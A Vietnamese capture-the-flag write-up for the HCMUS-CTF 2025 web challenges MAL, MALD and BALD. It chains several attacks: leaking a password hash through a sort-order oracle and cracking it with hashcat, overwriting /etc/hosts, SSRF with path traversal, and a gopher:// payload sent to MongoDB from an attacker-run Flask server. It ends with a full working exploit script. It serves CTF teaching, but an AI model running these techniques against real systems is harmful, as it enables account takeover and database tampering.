HCMUS-CTF 2025 Qualification
Intended Solution for MAL, MALD and BALD
MAL
- Ở chỗ update user (POST
/user/:username/edit
) code bị lỗi “QA” vì khi update mật khẩu sẽ không hash lại mà update trực tiếp vào db, nếu đúng thì mật khẩu sau khi đăng kí tài khoản sẽ được lưu vào 2 field làhash
vàsalt
. - API
GET /users
có cho mình liệt kê các users trên hệ thống, và mình có thể truyền querysort
để sort ascending, descending dựa vào field đó của user.
=> Có thể sử dụng để leak 2 field hash
và salt
của tất cả user.
Để dễ hình dung thì giờ trên hệ thống có user Dat2Phit
cần muốn leak mật khẩu, mình sẽ đăng kí thêm 1 user (gọi là A
)
Sau đó để leak field hash
của Dat2Phit
thì mình sử dụng api update user (POST /user/:username/edit
) để update field hash
của A
thành chữ a
, sau đó sử dụng api list user (GET /users
) với query là ?sort=hash
thì sẽ thấy user A
nằm trước hoặc nằm sau user Dat2Phit
.
Ví dụ trường hợp này user A
nằm trước đi. Sau đó mình update field hash
của user A
thành c
, lúc này gọi (GET /users?sort=hash
) thì thấy user A
nằm sau user Dat2Phit
=> kí tự đầu của field hash
của Dat2Phit
là b
.
Xong mình cứ làm tương tự với các kí tự sau, và làm như vậy cho field salt
luôn. Ở đây có thể sử dụng thuật toán binary search để đẩy nhanh quá trình brute.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def changeField(field_name, guess_hash):
sess.post(url + f'/user/{username}/edit', data={field_name: guess_hash, 'secret': user_secret})
res = sess.get(url + f'/users?sort={field_name}')
soup = BeautifulSoup(res.text, 'html.parser')
users = soup.find_all('a', {'class': 'anime_title'})
for user in users:
if admin_username in user:
return 1
if username.lower() in repr(user).lower():
return -1
def leak_field(field_name, length, alphabet=string.hexdigits.lower()):
field_value = ""
while len(field_value) != length:
L = 0
R = len(alphabet)
while L < R:
M = (L + R) // 2
if L == M:
break
guess = alphabet[M]
field_value_guess = field_value + guess
pos = changeField(field_name, field_value_guess)
if pos == -1:
L = M
else:
R = M
if len(field_value) != length - 1:
field_value += alphabet[L]
print(f"[*] FOUND: {field_value} [{len(field_value)}/{length}]")
else:
# Final check character is a headache
if L == 0:
if changeField(field_name, field_value + alphabet[L]) == -1:
field_value += alphabet[L + 1]
else:
field_value += alphabet[L]
else:
field_value += alphabet[L + 1]
print(f"[*] FOUND: {field_value} [{len(field_value)}/{length}]")
return field_value
############## PART 1 ##############
print("[!] ############## PART 1 ##############")
print("[!] Leaking admin hash")
admin_hash = leak_field('hash', 64)
print("[!] Leaking admin salt")
admin_salt = leak_field('salt', 32)
Vì mật khẩu user Dat2Phit
chỉ có 5 kí tự số (0-9), ta có thể crack cái hash trên bằng hashcat
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hash_cat_string = f"sha256:25000:{b64encode(admin_salt.encode()).decode()}:{b64encode(unhexlify(admin_hash)).decode()}"
print(f"[*] hashcat string: {hash_cat_string}")
hash_file = "hash"
with open(hash_file, 'w') as f:
f.write(hash_cat_string)
hashcat_command = f"hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d"
print(f"[!] Cracking with hashcat: hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d")
try:
output = subprocess.check_output(hashcat_command, shell=True).decode("utf-8")
if "--show" in output:
output = subprocess.check_output(hashcat_command + " --show", shell=True).decode("utf-8")
admin_password = output.split(hash_cat_string + ":")[1].split("\n")[0]
print(f"[+] Found admin password: { admin_password }")
except subprocess.CalledProcessError as e:
print(f"Error executing hashcat command: {e}")
if os.path.exists(hash_file):
os.remove(hash_file)
exit()
=> Crack xong thì lấy được mật khẩu của Dat2Phit
Đăng nhập nhập vào tài khoản và vào trang profile
để lấy flag, nhưng ở đây cần thêm một bước nữa. Vì user Dat2Phit
đã bị cached, và secret key hiện trên trang web không phải là flag
Trong source code khi khởi tạo tài khoản thì user Dat2Phit
được update secret là flag sau khi bị cache.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
User.register(Dat2Phit, password, async function (err, user) {
if (err) {
throw new Error('Failed to initialize');
}
data.data.secret = randomstring.generate(20);
const userdata = await User.findOneAndUpdate(
{ username: username },
{ data: data.data },
{ new: true }
);
if (!myCache.has(`user_${username}`)) {
myCache.set(`user_${username}`, userdata);
}
await User.findOneAndUpdate(
{ username: username },
{ 'data.secret': process.env.FLAG_1 || 'HCMUS-CTF{fake-flag}' }
);
});
=> Cache bust để lấy flag.
Và để làm vậy thì rất dễ, vì hàm const existed_user = await jakanUsers.users(username, 'full');
sẽ không quan tâm là username có case sensitive hay không => query dat2phit
vẫn trả về thông tin của Dat2Phit
=> Cache bust và lấy được flag
=> Flag 1: HCMUS-CTF{D1d_y0u_u53_B1n4ry_s34rcH?:v}
MALD
Tiếp theo để lấy được flag thứ 2 thì mình phải gọi đến /admin/flag
, để gọi được api này và lấy flag thì request phải từ 127.0.0.1
=> mùi SSRF
1
2
3
4
5
6
7
router.get('/admin/flag', async (req, res) => {
if (req.socket.remoteAddress === '127.0.0.1') {
res.json({ data: { flag: process.env.FLAG_2 || 'HCMUS-CTF{fakeflag}' } });
return;
}
res.json({ data: { flag: {} } });
});
Sau khi đã có được tài khoản admin (Dat2Phit
), mình unlock thêm được 1 số api để sử dụng.
Một trong số đó chính là api để write file POST /admin/archive/:filename
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
router.post('/admin/archive/:filename', isAdmin, async (req, res) => {
const filename = req.params.filename;
const content = req.body.content;
const file_path = path.join(archiveFolder, filename);
if (
file_path.includes('app') ||
file_path.includes('proc') ||
file_path.includes('environ') ||
isBinaryPath(file_path)
) {
throw new Error('Invalid path');
}
if (!isAscii(content)) {
throw new Error('Content must be ASCII');
}
fs.writeFileSync(file_path, content);
res.redirect(`/admin/archive/${filename}`);
});
=> Bị filter “khá kĩ” (nhiều unintended ở đây lắm hjx), chỉ cho viết vào những file không phải binary và không nằm trong các folder có đường dẫn chứa app
, proc
, environ
, và content mình viết vào file phải là ascii.
Vì mục tiêu là SSRF để đọc flag => khả năng cao là sửa /etc/hosts
.
Và vì trong source có 1 api nó sẽ gọi tới http://api.jikan.moe
thay vì https://api.jikan.moe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
router.get('/studio/:producerId', async (req, res) => {
const mal_id = req.params.producerId;
let data;
if (myCache.has(`studio_${mal_id}`)) {
data = myCache.get(`studio_${mal_id}`);
} else {
// The libray hasn't implemented a wrapper for producers
const request = jakanMisc.infoRequestBuilder(
'http://api.jikan.moe/v4/producers',
mal_id,
'full'
);
data = await jakanMisc.makeRequest(normalizeUrl(request));
myCache.set(`studio_${mal_id}`, data);
}
res.render('producer/studio', {
data: data.data
});
});
=> Viết vào /etc/hosts
giá trị api.jikan.moe 127.0.0.1
để request về ssrf về localhost.
Nếu check source của hàm infoRequestBuilder
thì thấy là nó có thể bị path traversal nếu mal_id
truyền vào không được sanitize.
1
2
3
4
5
6
7
8
9
10
11
infoRequestBuilder(
endpointBase: string,
id: number | string,
extraInfo?: string
): string {
if (typeof extraInfo === "string") {
return `${endpointBase}/${id}/${extraInfo}`;
} else {
return `${endpointBase}/${id}`;
}
}
=> Path traversal từ http://api.jikan.moe/v4/producers/${id}/full
về /admin/flag
để lấy flag 2.
=> mal_id
= ..%2f..%2fadmin%2fflag%23
=> http://api.jikan.moe/admin/flag#/full
Sau khi ssrf lấy flag 2 xong thì sẽ được lưu trong cache, ta có thể dễ dàng xem nó bằng account của admin.
Script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
############## PART 2 ##############
print("[!] ############## PART 2 ##############")
print("[!] Reading /etc/hosts")
res = sess.get(url + '/admin/archive/..%2fetc%2fhosts')
etc_hosts_content = res.text.split("</textarea>")[0].split(">")[-1]
print(etc_hosts_content)
print("[!] Adding api.jikan.moe to /etc/hosts as 127.0.0.1")
new_etc_hosts_content = etc_hosts_content + "127.0.0.1\tapi.jikan.moe\n"
sess.post(url + '/admin/archive/..%2fetc%2fhosts', data={'content': new_etc_hosts_content})
print("[!] Triggering SSRF")
sess.get(url + '/studio/..%2f..%2fadmin%2fflag%23')
print("[!] Reading FLAG 2 from cache")
res = sess.get(url + '/admin/cache')
flag2 = re.findall(f'{flag_prefix}{{.*?}}', res.text)[0]
print(f"[+] GOT FLAG 2: {flag2}")
=> Flag 2: HCMUS-CTF{Sh0uldnt_h4v3_1mpl3m3nt3d_1t}
BALD
Để lấy flag cuối cùng thì ta cần phải có acc có role super_admin
1
2
3
router.get('/super_admin/flag', isSuperAdmin, async (req, res) => {
res.json({ data: { flag: process.env.FLAG_3 || 'HCMUS-CTF{fakeflag}' } });
});
Hiện tại trong database không có user nào có role super_admin
hết, chỉ có Dat2Phit
là role admin
thôi.
Vậy cần kiếm cách nào để privesc từ role admin
lên role super_admin
.
Trong app có một api /user/:username/export
sẽ sử dụng curl để scrape các link trong trang profile để tổng hợp nó thành 1 file pdf.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* Export the current user favorite anime to a file
*
* @param username the myanimelist username of the current user
*/
router.get('/user/:username/export', isLoggedIn, async (req, res) => {
const username = req.params.username;
const baseURL = `http://localhost:${process.env.PORT}`;
const data = await execFile('curl', [`${baseURL}/user/${username}/profile`]);
const $ = cheerio.load(data.stdout);
const imgs = $('img:not(.user-avatar)')
const imgs_src = []
imgs.each(function (idx, img) {
imgs_src.push($(img).attr('src'))
});
const promises = imgs_src.map((src) =>
execFile('curl', [src], { encoding: 'buffer', maxBuffer: 5 * 1024 * 1024 })
);
const results = await Promise.all(promises)
const img_buffers = await Promise.all(
results.map(async (res) => {
const img = await sharp(res.stdout).toFormat('png').toBuffer();
return img
}
));
const outFile = `${exportsFilePath}/${uuidv4()}.pdf`;
const pdfBuffers = await imgToPDF(img_buffers, imgToPDF.sizes.A5).toArray()
fs.writeFileSync(outFile, Buffer.concat(pdfBuffers));
res.download(outFile, `${username}.pdf`, function (err) {
if (err) {
console.log(err);
}
fs.unlinkSync(outFile);
});
});
Lợi dụng việc api /studio/:producerId
bị SSRF, ta có thể sửa /etc/hosts
để chỉa domain api.jikan.moe
về ip của attacker => Attacker có thể send fake data tới server.
Ngoài ra, api /user/:username/export
cũng bị path traversal khi username
chứa ..
=> có thể path traversal về /studio/:producerId
bằng username ..%2fstudio%2f:producerId%23
=> Attacker có thể send fake data cho thằng curl
nó scrape khi gọi /user/:username/export
=> Vì curl sẽ scrape và request tới các link trong <img src="link" >
=> Attacker có thể gửi link gopher://
để cho curl gửi raw request tới mongoDB để sửa role lên super_admin
Khúc này sẽ lấy ý tường từ challenge oh-my-bet
hồi StarCTF 2021
. Link writeup
Nếu check version curl ở trong Dockerfile thì thấy là version 7.69.0
=> version này mình có thể thêm null byte ở phía sau gopher://
=> có gửi thẳng MongoDB Wire Protocol tới MongoDB để sửa role từ admin
lên super_admin
Trong writeup của bài oh-my-bet
thì payload trong đó sẽ tạo một account mới với role super_admin
sử dụng $insert
. Còn ở challenge BALD
nếu làm như vậy sẽ không được, tại vì sau khi tạo acc có role super_admin
thì phải login bằng acc đó để lấy flag, mà api login đã chặn không cho super_admin
đăng nhập vô.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.post(
'/login',
limiter,
passport.authenticate('local', {
failureRedirect: '/login',
failureFlash: true
}),
(req, res) => {
if (req.user.role !== 'super_admin') {
return res.redirect('/index')
}
req.logout();
return res.redirect('/login');
}
);
=> Tìm payload có thể edit role thay vì tạo user mới.
=> Sử dụng $set
để thay thay đổi role.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def gen_mongowire_payload(username):
doc = {
"update": "users",
"$db": "MAL",
"updates": [{
"q": {
"username": username
},
"u": {
"$set": {
"role": "super_admin"
}
}
}]
}
b = unhexlify('0000000000000000DD0700000000000000') + bson.dumps(doc)
b = bytes(pack_size(len(b) + 4)) + b
return quote(b)
TLDR, các bước tấn công bao gồm:
Attacker tạo một rogue server để gửi link gopher://
để cho thằng curl
nó request tới mongoDB để edit role thành super_admin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app = Flask(__name__)
gopher_payload = gen_mongowire_payload("Dat2Phit")
@app.route("/payload", methods=["GET"])
def payload():
payload = {
'data': {
"mal_id": 420,
"titles": [
{
"type": "Default",
"title": "lmao"
}
],
"images": {
"jpg": {
"image_url": f"gopher://mongo:27017/_{gopher_payload}"
}
},
"favorites": 6969,
"about": "lmaolmao"
}
}
return jsonify(payload)
app.run(host="0.0.0.0", port=80, debug=False)
Sau đó sửa /etc/hosts
để chỉa api.jikan.moe
về ip của attacker. Rồi path traversal api /user/:username/export
để request tới /studio/:producerId
để trigger SSRF tới attacker server.
=> username: ..%2fstudio%2f..%252f..%252fpayload%2523%23
=> Lúc gửi tới /user/:username/export
thì curl sẽ gửi request tới http://localhost:80/user/../studio/..%2f..%2fpayload%23#/export
== http://localhost:80/studio/..%2f..%2fpayload%23
Mà chỗ api /studio/:producerId
cũng bị path traversal.
1
2
3
4
5
6
7
8
const mal_id = req.params.producerId;
// ...
const request = jakanMisc.infoRequestBuilder(
'http://api.jikan.moe/v4/producers',
mal_id,
'full'
);
data = await jakanMisc.makeRequest(normalizeUrl(request));
1
2
3
4
5
6
7
8
9
10
11
infoRequestBuilder(
endpointBase: string,
id: number | string,
extraInfo?: string
): string {
if (typeof extraInfo === "string") {
return `${endpointBase}/${id}/${extraInfo}`;
} else {
return `${endpointBase}/${id}`;
}
}
Nên khi request tới http://localhost:80/studio/..%2f..%2fpayload%23
. jakanMisc.makeRequest(normalizeUrl(request))
sẽ request tới http://api.jikan.moe/v4/producers/../../payload#/full
== http://api.jikan.moe/payload
Mà sau khi sửa /etc/hosts
thì api.jikan.moe
sẽ resolve thành ip của attacker => http://api.jikan.moe/payload
sẽ request tới server của attacker đang chứ payload gopher.
Lúc này curl sẽ thấy được payload gopher://
của attacker và tiến hành request tới nó. Và lúc này curl sẽ gửi thẳng MongoDB Wire Protocol tới MongoDB để sửa role của Dat2Phit
từ admin
lên super_admin
Cuối cùng thì request tới /super_admin/flag
rồi lụm thôi.
=> Flag 3: HCMUS-CTF{Priv3SC_Thr0uGh_G0ph3r_n1c3!}
Full chain script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
# authbind --deep python3 solve.py
import requests, string, subprocess, re, time, os, multiprocessing, struct, bson
from bs4 import BeautifulSoup
from base64 import b64encode
from binascii import unhexlify
from flask import Flask, jsonify
from urllib.parse import quote
url = "http://localhost:8000"
attacker_ip = "192.168.65.254"
username = "asdasd"
password = "123123"
admin_username = "Dat2Phit"
flag_prefix = "HCMUS-CTF"
sess = requests.Session()
sess.post(url + '/register', data={'username': username, 'password': password})
sess.post(url + '/login', data={'username': username, 'password': password})
# sess.cookies.set("session", "eyJwYXNzcG9ydCI6eyJ1c2VyIjoiYXNkYXNkIn19")
# sess.cookies.set("session.sig", "c73mBcPlQ8Ls0ATA7uKtEj2hnMY")
print(sess.cookies.get_dict())
res = sess.get(url + f'/user/{username}/edit')
soup = BeautifulSoup(res.text, 'html.parser')
user_secret = soup.find('input', {'id': 'secret'}).get('value')
print(f"[*] User secret: {user_secret}")
def changeField(field_name, guess_hash):
sess.post(url + f'/user/{username}/edit', data={field_name: guess_hash, 'secret': user_secret})
res = sess.get(url + f'/users?sort={field_name}')
soup = BeautifulSoup(res.text, 'html.parser')
users = soup.find_all('a', {'class': 'anime_title'})
for user in users:
if admin_username in user:
return 1
if username.lower() in repr(user).lower():
return -1
def leak_field(field_name, length, alphabet=string.hexdigits.lower()):
field_value = ""
while len(field_value) != length:
L = 0
R = len(alphabet)
while L < R:
M = (L + R) // 2
if L == M:
break
guess = alphabet[M]
field_value_guess = field_value + guess
pos = changeField(field_name, field_value_guess)
if pos == -1:
L = M
else:
R = M
if len(field_value) != length - 1:
field_value += alphabet[L]
print(f"[*] FOUND: {field_value} [{len(field_value)}/{length}]")
else:
# Final check character is a headache
if L == 0:
if changeField(field_name, field_value + alphabet[L]) == -1:
field_value += alphabet[L + 1]
else:
field_value += alphabet[L]
else:
field_value += alphabet[L + 1]
print(f"[*] FOUND: {field_value} [{len(field_value)}/{length}]")
return field_value
############## PART 1 ##############
print("[!] ############## PART 1 ##############")
print("[!] Leaking admin hash")
admin_hash = leak_field('hash', 64)
print("[!] Leaking admin salt")
admin_salt = leak_field('salt', 32)
hash_cat_string = f"sha256:25000:{b64encode(admin_salt.encode()).decode()}:{b64encode(unhexlify(admin_hash)).decode()}"
print(f"[*] hashcat string: {hash_cat_string}")
hash_file = "hash"
with open(hash_file, 'w') as f:
f.write(hash_cat_string)
hashcat_command = f"hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d"
print(f"[!] Cracking with hashcat: hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d")
try:
output = subprocess.check_output(hashcat_command, shell=True).decode("utf-8")
if "--show" in output:
output = subprocess.check_output(hashcat_command + " --show", shell=True).decode("utf-8")
admin_password = output.split(hash_cat_string + ":")[1].split("\n")[0]
print(f"[+] Found admin password: { admin_password }")
except subprocess.CalledProcessError as e:
print(f"Error executing hashcat command: {e}")
if os.path.exists(hash_file):
os.remove(hash_file)
exit()
if os.path.exists(hash_file):
os.remove(hash_file)
print(f"[!] Loging in as admin: { admin_username }")
sess.post(url + '/login', data={'username': admin_username, 'password': admin_password})
time.sleep(1)
print(f"[!] Cache busting and getting first flag")
res = sess.get(url + f'/user/{admin_username.lower()}/edit')
flag1 = re.findall(f'{flag_prefix}{{.*?}}', res.text)[0]
print(f"[+] GOT FLAG 1: {flag1}")
############## PART 2 ##############
print("[!] ############## PART 2 ##############")
print("[!] Reading /etc/hosts")
res = sess.get(url + '/admin/archive/..%2fetc%2fhosts')
etc_hosts_content = res.text.split("</textarea>")[0].split(">")[-1]
print(etc_hosts_content)
print("[!] Adding api.jikan.moe to /etc/hosts as 127.0.0.1")
new_etc_hosts_content = etc_hosts_content + "127.0.0.1\tapi.jikan.moe\n"
sess.post(url + '/admin/archive/..%2fetc%2fhosts', data={'content': new_etc_hosts_content})
print("[!] Triggering SSRF")
sess.get(url + '/studio/..%2f..%2fadmin%2fflag%23')
print("[!] Reading FLAG 2 from cache")
res = sess.get(url + '/admin/cache')
flag2 = re.findall(f'{flag_prefix}{{.*?}}', res.text)[0]
print(f"[+] GOT FLAG 2: {flag2}")
############## PART 3 ##############
print("[!] ############## PART 3 ##############")
print(f"[!] Adding api.jikan.moe to /etc/hosts as {attacker_ip}")
newer_etc_hosts_content = etc_hosts_content + f"{attacker_ip}\tapi.jikan.moe\n"
sess.post(url + '/admin/archive/..%2fetc%2fhosts', data={'content': newer_etc_hosts_content})
def pack_size(section):
return list(struct.pack("<i", section))
def encode(data):
packet = ""
for i in range(int(len(data) / 2)):
packet += "%" + data[2*i:2*(i+1)]
return packet
def gen_mongowire_payload(username):
doc = {
"update": "users",
"$db": "MAL",
"updates": [{
"q": {
"username": username
},
"u": {
"$set": {
"role": "super_admin"
}
}
}]
}
b = unhexlify('0000000000000000DD0700000000000000') + bson.dumps(doc)
b = bytes(pack_size(len(b) + 4)) + b
return quote(b)
def start_server(gopher_payload):
print("[+] Started Flask server")
app = Flask(__name__)
@app.route("/payload", methods=["GET"])
def payload():
payload = {
'data': {
"mal_id": 420,
"titles": [
{
"type": "Default",
"title": "lmao"
}
],
"images": {
"jpg": {
"image_url": f"gopher://mongo:27017/_{gopher_payload}"
}
},
"favorites": 6969,
"about": "lmaolmao"
}
}
return jsonify(payload)
app.run(host="0.0.0.0", port=80, debug=False)
print("[!] Generating gopher payload")
payload = gen_mongowire_payload(admin_username)
print(f"[+] Payload: gopher://mongo:27017/_{payload}")
print("[!] Starting Flask server")
server = multiprocessing.Process(target=start_server, args=(payload,))
server.start()
time.sleep(5)
print("[!] Started attacker server")
print("[!] Triggering SSRF to attacker server")
sess.get(url + '/studio/..%2f..%2fpayload%23')
print("[!] Triggering SSRF to mongodb via gopher")
try:
sess.get(url + '/user/..%2fstudio%2f..%252f..%252fpayload%2523%23/export', timeout=3)
except:
pass
print("[!] Getting FLAG 3 at /super_admin/flag")
res = sess.get(url + '/super_admin/flag')
flag3 = re.findall(f'{flag_prefix}{{.*?}}', res.text)[0]
print(f"[+] GOT FLAG 3: {flag3}")
server.terminate()